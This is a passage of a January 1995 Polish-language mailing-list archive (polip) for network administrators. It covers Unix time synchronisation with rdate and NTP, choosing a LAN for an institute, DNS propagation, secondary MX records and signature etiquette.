In-Reply-To: <199501171505.PAA06781@hebe.umcs.lublin.pl> from "Krzysztof Mlynarski" at Jan 17, 95 04:47:09 pm
X-Mailer: ELM [version 2.4 PL21]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 789       


Krzysztof Mlynarski pisze:
> >   W naglowkach newsow podawany jest czas GMT, po to wlasnie zeby bylo 
> >   wiadomo KIEDY zostalo napisane i dotyczy to nawet tych z USA
> 
> Wlasnie... i aby z tego w pelni korzystac wszyscy musieliby pisac na
> Polip'a via newsy. Wielu jednak ludzi pisze korzystajac z e-mail'a (jako
> i ja teraz czynie ;-)). Tak wiec tak czy tak, trzeba bedzie rozwiazac
> problem konwersji czasow.

Na czym polega problem kowersji czasow? Zawsze wydawalo mi sie,
ze jesli hosty maja poprawnie ustawina strefe czsowa to ten problem
nie istnieje. Moze sie jednak myle.

Grzegorz

> 
> 						Pozdrawiam,
> 						   -Krzysio

-- 
Grzegorz Krawczyk                              krawczyk@kme.agh.edu.pl
University of Mining and Metallurgy       Chair of Electrical Machines
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 17:04:48 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA19641; Tue, 17 Jan 95 17:03:44 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id RAA14002 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 17:00:17 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 15:59:56 GMT
From: tsurmacz@asic.ict.pwr.wroc.pl (Tomasz Surmacz)
Message-Id: <3fgphs$cre@cyber.ict.pwr.wroc.pl>
Organization: Technical University of Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3f6o8t$jjd@sun1000.ci.pwr.wroc.pl>, <3f87sn$6bk@galaxy.uci.agh.edu.pl>
Subject: Re: Regulowanie czasu

Szymon Sokol (szymon@uci.agh.edu.pl) wrote:
| S. Pawlowicz (ser@sun1000.ci.pwr.wroc.pl) wrote:
| : Pytanie: Czym reguluja Panstwo czas na swoich maszynach unixowych?

| Wg hejnalu z Wiezy Mariackiej :-)
| Czy naprawde jest sens ustawiac zegar systemowy z dokladnoscia do sekund,
| jesli "drift" na moim Sunie wynosi nawet do 20s dziennie?

Kiepski Sun powiedzialbym... (gdybym sie nie domyslal, ze chodzi o galaxy
i ew. inne w okolicy :-)

U mnie jeden Sun pozi sie ok 1 sekunde na dobe, drugi - spieszy ok. 5 
sekund na miesiac.  W zwiazku z czym na wiekszosci komputerow w okolicy 
(Suny i Linuxy) w crontabie jest linijka:

      0 0 * * * /usr/sbin/rdate cyber

doregulowujaca lokalne zegarki do tego jednego, uznawanego za najdokladniejszy.
Jak dla mnie, nie jest wazne czy cyber sie spieszy czy pozni 2-3 minuty
wzgledem czasu 'oficjalnego', ale BARDZO WAZNE jest, by lokalnie chodzace
komputery mialy czas rozniacy sie nie wiecej jak o 1-2 sekundy, SZCZEGOLNIE 
jesli maja popodlaczane nawzajem dyski przez NFS.  No bo a nuz ktos bedzie
poprawial plik *.c na jednym komputerze, a na drugim wykona 'make'?

Jesli zegarki sie roznia o czas dluzszy niz czas miedzy dwoma 'make' (tzn. 
make, poprawki, make), to sa spore szanse na komunikat 'make: Nothing to do
for target blahblahblah'.

To tylko jeden przyklad...  Inne mozna by mnozyc.

--
 _________
(_   _' __) Tomasz Surmacz * ------------- * tsurmacz@asic.ict.pwr.wroc.pl
  |  (__  \ Institute of Technical Cybernetics, * tsurmacz@ict.pwr.wroc.pl
  |__(____/ Technical University of Wroclaw, Poland  * ----- * irc: TomekS
From krawczyk@kme.agh.edu.pl Tue Jan 17 17:19:48 1995
Received: from robak.kme.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA20367; Tue, 17 Jan 95 17:16:06 +0100
Return-Path: <krawczyk@kme.agh.edu.pl>
Received: by kme.agh.edu.pl (4.1/SMI-4.1)
	id AA04342; Tue, 17 Jan 95 17:13:22 +0100
From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk)
Organization: University of Mining and Metallurgy
Address: Mickiewicza 30, 30-059 Krakow, POLAND
Message-Id: <9501171613.AA04342@kme.agh.edu.pl>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?
To: polip@zsku.p.lodz.pl
Date: Tue, 17 Jan 1995 17:13:21 +0100 (MET)
In-Reply-To: <118C6E3349@inf.wsp.krakow.pl> from "Jaroslaw Rafa" at Jan 17, 95 04:20:49 pm
X-Mailer: ELM [version 2.4 PL21]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 1969      

Jaroslaw Rafa pisze:
> 
> > Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze
> > na telnet i ftp. Bardzo odradzano mi Novella jako trudnego
> >                  do pogodzenia z jakimkolwiek oprogramowaniem.
>                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > Bede wdzieczny za wszelkie rady.
> > 
> ????????????

Podzielam zdziwienie. Acz musze przyznac, ze jeszcze do niedawna bylem
sceptycznie nastawiony do tego systemu. Jednak zrozumialem juz,
ze w wiekszosci przypadkow alternatywy brak :-)

> Poczta internetowa przepieknie chodzi na Novellu, oprogramowanie od strony 
> end usera jest niezwykle przyjazne (oczywiscie, troche trudniej z instalacja, 
> ale mysle ze zawsze mozna znalezc kogos kto to zrobi) i do tego freeware.
> Nie rozumiem tego kogos co ci odradzal Novella. Moze jemu samemu sie nie 
> udalo, albo po prostu nie wiedzial o odpowiednim oprogramowaniu...

OK. Wszystko gra, tylko czy funkcje wymienione powyzej sa jedynymi
ktore beda wykorzystywane? Ja pytanie zrozumialem nieco szerzej.
Glownie chodzi zapewne o mozliwosc gromadzenia, porzadkowania
i wyszukiwania danych - czyli jednym slowem *baza danych*
(i tu bym sie juz zastanawial czy novell+dos+windows, czy moze
cos inego, np UNIX), przetwarzania tekstow, a pewnie i inne funkcje
zwiazane z funkcjonowaniem instytutu.

Rozwiazaniem jest ethernet w warstwie fizycznej novell jako sieciowy
system operacyjny, a w przyszlosci jesli zajdzie taka potrzeba
inny system o ktory by mozna oprzec baze danych.

> U nas na Novellu chodzi poczta, ftp serwer i cala masa "client software" na 
> koncowkach: telnet, ftp, gopher, news, irc, talk, finger, Lynx, Mosaic i co 
> tylko kto chce... Nie ma zadnych problemow.
> Pozdrowienia,
>    Jaroslaw Rafa
>    sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
> 

Grzegorz

-- 
Grzegorz Krawczyk                              krawczyk@kme.agh.edu.pl
University of Mining and Metallurgy       Chair of Electrical Machines
From muhlig@usctoux1.cto.us.edu.pl Tue Jan 17 17:29:49 1995
Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA21434; Tue, 17 Jan 95 17:28:53 +0100
Return-Path: <muhlig@usctoux1.cto.us.edu.pl>
Subject: jak to jest z tym naszym DNS?
To: polip@zsku.p.lodz.pl
Date: Tue, 17 Jan 1995 17:31:30 -0100 (MET)
From: Maciek Uhlig <muhlig@usctoux1.cto.us.edu.pl>
X-Mailer: ELM [version 2.4 PL23~]
Content-Type: text
Content-Length: 789       
Message-Id:  <9501171731.aa17120@usctoux1.cto.us.edu.pl>

Ano tak:

wczoraj dodalem do DNS nowa maszyne. Dzis niekoniecznie ja wszedzie
widac. Sprawdzam. Od root servera. Podaje w kolejnosci: bilbo, cocos,
sunet. Sprawdzam. W bilbo - nie widac. W cocos - nie widac. 
W sunet - o dziwo - widac. Szwedzi predzej wiedza, co ja tu wyprawiam,
niz warszawiacy. Zeby nas znow jaki potop nie zalal. Bo mnie juz 
zalewa, ale nie woda... :-)

Maciek Uhlig

----------------------------------------------------------------------
Maciej UHLIG, Computer Center, Silesian University
                          Uniwersytecka 4 St., 40-007 KATOWICE, POLAND
Internet: muhlig@usctoux1.cto.us.edu.pl  Voice: +48 (32) 588211 (1768)
                                         Fax:   +48 (32) 596847 
***** Imagine all the people sharing all the world (John Lennon) *****
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:04:51 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA23204; Tue, 17 Jan 95 18:03:44 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id RAA14871 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 17:47:05 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 11:41:33 -0500
From: zbig@junior.wariat.org (Zbigniew J. Tyrlik)
Message-Id: <3fgrvt$q77@junior.wariat.org>
Organization: Akademia Pana Kleksa, Public Access Uni* Site
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501171549.AA04288@kme.agh.edu.pl>
Subject: Re: Ustawianie czasu

In <9501171549.AA04288@kme.agh.edu.pl> krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk) writes:

>Jesli zas przyjac hierarchie drzewiasta to mozna zalozyc, ze serwery
>mniej oddalone od siebie (niekoniecznie fizycznie) beda mialy czas
>zsynchronizowany lepiej. I tu pytanie do fachowcow:

>Jaki model jest lepszy? Centralny timeserver i wszyscy z nim
>synchronizuja, czy drzewo: serwer centralny, serwery uczelniane,
>serwery w instytutach, katedrach (lokalne). Mnie sie osobiscie
>ten drugi wydaje lepszy.

bardzo dobra dyskusja tego zagadnienia jest w dokumentach
zalaczonych do dystrybucji ntp/xntp, wlacznie z RFC. 

To co jest polecane to synchronizacja sieci lokalnej do kilku
niezaleznych serverow zewnetrznych, i nastepnie usrednianie sieci
lokalnej. W ten sposob mozna korygowac zarowno odchylenia
spowodowane poprzez pojedynczy server i poprzez wolne lacza.... 

>Grzegorz


_zjt
-- 
Zbigniew J. Tyrlik  DoD# 0759  FJ1200 `89-Silver...  zbig@wariat.org
APK on the move    	   New Phone - 216-241-7541 active Jan 09.95
Feeds, shell, FTP, telnet, SL/IP,PPP     Uniboard distribution point 
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:24:50 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA24381; Tue, 17 Jan 95 18:23:40 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15334 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:44 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 16:42:44 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fgs24$6d5@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <MAILQ-101.950116134149.320@novci2.ae.poz.edu.pl>
Subject: Re: Ustawianie czasu - nie na temat

Kerrrrrik (KERIK@novci2.ae.poz.edu.pl) wrote:

: Ja jestem wygodny - kont mam kilka a poczte tylko na jednym..

Slyszales kiedys o pliku ~/.forward ?

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:24:56 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA24387; Tue, 17 Jan 95 18:23:44 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15332 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:43 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 16:40:08 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fgrt8$6d5@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501152353.AA00802@hebe.umcs.lublin.pl>
Subject: Re: Ustawianie czasu - nie na temat

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:

: PS.
: 	To chyba naprawde nie jest temat tej listy... :)

Ale moze sie nim stac. 

<10 kb signature deleted>

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:25:00 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA24391; Tue, 17 Jan 95 18:23:47 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15337 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:44 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 16:51:17 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fgsi5$6d5@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501151839.AA00044@hebe.umcs.lublin.pl>
Subject: Re: Ustawianie czasu

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:

: Hmmm... bardzo cool, tylko czy w *.pl jest choc jeden system w sieci
: korzystajacy z powyzszych??? (Ma sie rozumiec z wyjatkiem punktu:
: "2) zeby uniknac potem szoku ze poczta doszla przed wyslaniem.."

Ja mysle, ze ciekawe bylo by pytanie czy w *.pl jest jakis dobry wzorzec
czasu...

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:25:06 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA24394; Tue, 17 Jan 95 18:23:50 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15335 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:44 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 16:45:38 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fgs7i$6d5@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3fe0cf$i5q@Waldemar.mat.uni.torun.pl>, <3feenm$t3n@Waldemar.mat.uni.torun.pl>
Subject: Re: to MX or not to MX i jak?

Rafal Maszkowski (rzm@dain.oso.chalmers.se) wrote:
: Co sadzicie o definiowaniu drugiego i nastepnych MXow dla jakiejs
: domeny? Czy jest w ogole sens je dawac (spotkalem sie z opinia, ze nie),
: a jezeli tak to komu ta swoja poczte podsuwac? NASKowi? cocos-owi?
: sunic-owi?

Ja mysle, ze warto tylko wtedy jesli naszemu komputerowi (domenie) zdarza
sie byc nieobecnym w sieci na tyle dlugo, ze niektore inne komputery mogly
by zwrocic list, ktory mial by do niego dotrzec.

Inna sprawa, ze administratorzy tych hostow, ktore wybierzemy jako swojego
MX-a maja maly wplyw na to kto ich sobie wpisze jako MXa. Dlatego mysle, ze
jesli mamy zamiar zrobic MX-a na swoja domene na jakiegos tam hosta gdzies
daleko w sieci, to chyba bylo by przyzwoicie zapytac tamtejszego
administratora co o tym mysli.

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:25:13 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA24399; Tue, 17 Jan 95 18:23:54 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15331 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:41 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 16:38:13 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fgrpl$6d5@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501162124.AA23126@zsku.p.lodz.pl>
Subject: Re: Palac Staszica - jaka siec lokalna wybrac?

WIENCH@plearn.edu.pl wrote:

: Dyrekcja mojego Instytutu zamierza zalozyc siec lokalna w Palacu Staszica
: (to jest to, co widac na starych 50.000 zl). Siec ma sluzyc
: Instytutowi Filozofii i Socjologii, ale byc moze takze Instytutowi
: Badan Literackich i innym. Lacznie moze to byc ok 100 komputerow
: (wszystko klony IBMa, 286, 386, pare 486 z DOSem, kilka z Windowsami.
: Przy tym byc moze IBL udostepni swojego SUNa sparcstation 5. 

Ciekawe po co facetom (i paniom) od opowiadania co poeta mial na mysli SPARC
Station 5???

: Pytanie jest takie: jaka siec bylaby najodpowiedniejsza w tych warunkach?
: Dodam, ze cala zaloga jest czysto humanistyczna, na widok komputera
: czesc dostaje drgawek, wiec chodzi o rozwiazania przyjazne uzytkownikom.

Ja mysle, ze na poczatek zatrudnic kogos kompetentnego. Tenze powinien tak
to wszystko ustawic, zeby w/w spece od mowienia co poeta itd. nie musieli
sie o nic martwic.

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:25:18 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA24404; Tue, 17 Jan 95 18:23:57 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15333 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:43 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 16:42:01 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fgs0p$6d5@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501152332.AA16385@highresnmr.biophys.upenn.edu>, <3fd9t6$78l@Waldemar.mat.uni.torun.pl>
Subject: Re: Ustawianie czasu - nie na temat

Rafal Maszkowski (rzm@dain.erlm.siemens.de) wrote:
: Krzysztof Wroblewski (chris@highresnmr.biophys.upenn.edu) wrote:
: > >>Niezla kolekcja - jestem pod wrazeniem ;-)
: > >ale i tak nie jest pelna ;)
: > >                          -Krzysio
: > A czy nie mozesz sobie wybrac poprostu jednego adresu do korespondencji
: > (zwlaszcza jesli masz kilka accounts na jednym komputerze) i zwyczajnie
: > nie zasmiecac listy zbednymi informacjami?

: Taki sig niesie bardzo wiele pozytecznych informacji. Jeden rzut oka
: (no moze dwa, bo czasem sie nie zmiesci na stronie) i mozna sie wiele
: domyslec o wlascicielu.

Niezwykle trafne spostrzezenie. Dlatego wlasnie nalezy pozwolic kazdemu miec
takiego sig'a, jakiego chce. W ten sposob w kazdym liscie kazdy podpisujac
sie nim nie tylko informuje nas o adresie e-mailowym (w tym przypadku
potencjalny nadawca e-maila moze miec problemy z wyborem) ale co-nieco o
sobie.

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:25:22 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA24409; Tue, 17 Jan 95 18:24:00 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15330 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:41 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 16:35:22 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fgrka$6d5@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501160811.aa19328@usctoux1.cto.us.edu.pl>
Subject: Re: sygnatura Krzysia

Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote:
: Krzysztof Mlynarski wrote:

: > > A tak powaznie... MOJ sig jest MOJA prywatna sprawa i byloby milo,
: > 
: > PS.
: > 	To chyba naprawde nie jest temat tej listy... :)

: A jest, jest... Bo nie o to chodzi, aby odciac sobie automatycznie sig.
: Chodzi o to, ze etykieta sieciowa mowi, iz sig powinien miec maksimum
: 4 linie (moj ma 5, ale przezyjemy to do czasu, gdy bede mial okazje
: skrocic). 

Proponuje obciac to wyjatkowo naiwne haslo z Lenona.

(LAME> ***** Imagine all the people sharing all the world (John Lennon) ***** )

(I teraz sie nie pien, ze Twoje haslo, a nie moje, i ze nie powinienem sie
czepiac Twojego siga i tak dalej, bo skoro sam zaczales czepianie sie sigow,
wiec powinienes innym pozwalac na czepianie sie swojego sig'a.

To, ze ktos koniecznie chce szpanowac i pokazac ile to on kont nie ma i na
ilu to maszynach nie zna hasla root'a to swiadczy sam o sobie i nie uprawnia
do dyktowania mu co pisze. Jego sprawa.)

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:25:25 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA24414; Tue, 17 Jan 95 18:24:03 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15338 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:44 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 16:56:56 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fgsso$6d5@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501171255.MAA06080@hebe.umcs.lublin.pl>
Subject: Re: Ustawianie czasu

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:

: > Jarka (<1A3767634D@inf.wsp.krakow.pl>) ma date '16 Jan 95 17:15:15
: > GMT'? Czyzby ktos nie zmienil czasu letniego na zimowy? Grrrrrr....

: Tiaa... a do tego jeszcze to GMT.... Mi sie zawsze wydawalo, ze u nas to
: jest MET..., ale moze ja za lame jestem? :)

Jak by na napisal UTC (a to z dobra dokladnoscia to samo) to by bylo jasne.
UTC bowiem obowiazuje WSZEDZIE.

: > Moze by tak synchronizacje czasu w Polsce dolaczyc do 'listy
: > aktualnych problemow' Macka i na dodatek ten problem z marszu
: > rozwiazac (bo nie jest to chyba trudne)... Tylko zeby znalezc w Polsce
: > jakis server czasu...
: > 
: Ktos pisal o taki serverze dla Poznania. Sek w tym, ze niektore lacza w
: Polsce sa nadal b. wolne i niestety przydaly by sie lokalne servery w
: roznych czesciach Kraju. Oprocz tego nadal pozostaje problem
: zobligowania administratorow kolejnych maszyn do prawidlowego
: skonfigurowania strefy czasowej oraz zainteresowania sie wogole samym
: tematem daty i czasu systemowego.

Ja mysle, ze jakby ktos z zaawansowanych uczestnikow listy byl laskaw
napisac stosowny FAQ, a nastepnie wylozyc go pod WWW (lub inaczej) - to by
bylo wiecej takich, co to zrobia.

Ja wiem, ze kazdy moze zrobic sobie research na wlasna reke i tak dalej, ale
lepiej jak ktos juz raz wlozyl ta prace, to zeby inni (hehehe) skorzystali.

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 18:25:32 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA24420; Tue, 17 Jan 95 18:24:07 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id SAA15336 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 18:21:43 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 16:49:37 GMT
From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt)
Message-Id: <3fgsf1$6d5@ghost.mimuw.edu.pl>
Organization: Department of Maths and Computer Science, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <Pine.SCO.3.91.950117083707.2554C-100000@zsku.p.lodz.pl>
Subject: Re: to MX or not to MX i jak?

Piotr Wilk (piotrwi@zsku.p.lodz.pl) wrote:

: - lista dyskusyjna wysyla poczte do komputera przez MX. Komputer jest 
: down. Poczta idzie do MX'a i tam czeka. Jezeli ruch na liscie jest duzy, 
: a komputer jest down duzo dluzej niz trzy dni to postmaster na serwerze 
: listy odbierze sobie niedostarczone listy z przynajmniej trzech dni. W 
: swojej kolejce na pewno stojace listy zauwazylby wczesniej. Poza tym ma 
: mozliwosc ich wywalenia z kolejki.

: - przypadek wysylania pilnej poczty. Uzytkownik wysyla piny list. Robi 
: sobie mailq. Kolejka pusta. List poszedl. OK ? Nie!!! Po trzech dniach 
: lub dluzej list do niego wraca z MX'a. Gdyby MX'a nie bylo, po godzinie 
: sprobowalby 'konwencjonalnej' lacznosci.

Pytanie brzmi tak - czy chcemy, zeby listy raczej dochodzily do adrestow
(niechby i z opoznieniem), czy tez aby w przypadku najmniejszej awarii sieci
po drodze byly gubione?

: Jeszcze jedno:
: wydaje mi sie, ze gdzies czytalem (sam bym tego nie wymyslil), ze zaleta 
: Internetu jest to, ze komunikacja (powiedzmy w warstwie TCP) nastepuje 
: tylko miedzy komputerami, ktore biara udzial w transmisji. 

Ja mysle, ze zaleta jest to, ze mozna i tak i tak, a wiec latwiej jest sie
dopasowac do konkretnej sytuacji. Komputer (domena), ktory stoi za kiepskim
laczem (albo laczem czynnym okresowo np. SLIP lub PPP dial-up) musi miec MX.
Duzy host pocztowy zapiety niemal wprost na siec szkieletowa WAN nie musi.

--

                               73 de Andy SP5WCA

/-------------------+--------+-------------------+-------------------------\
I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I   andy@sp5wca.ampr.org  I 
\-------------------+--------+-------------------+-------------------------/
From RAJ@inf.wsp.krakow.pl Tue Jan 17 19:09:51 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA27325; Tue, 17 Jan 95 19:08:42 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
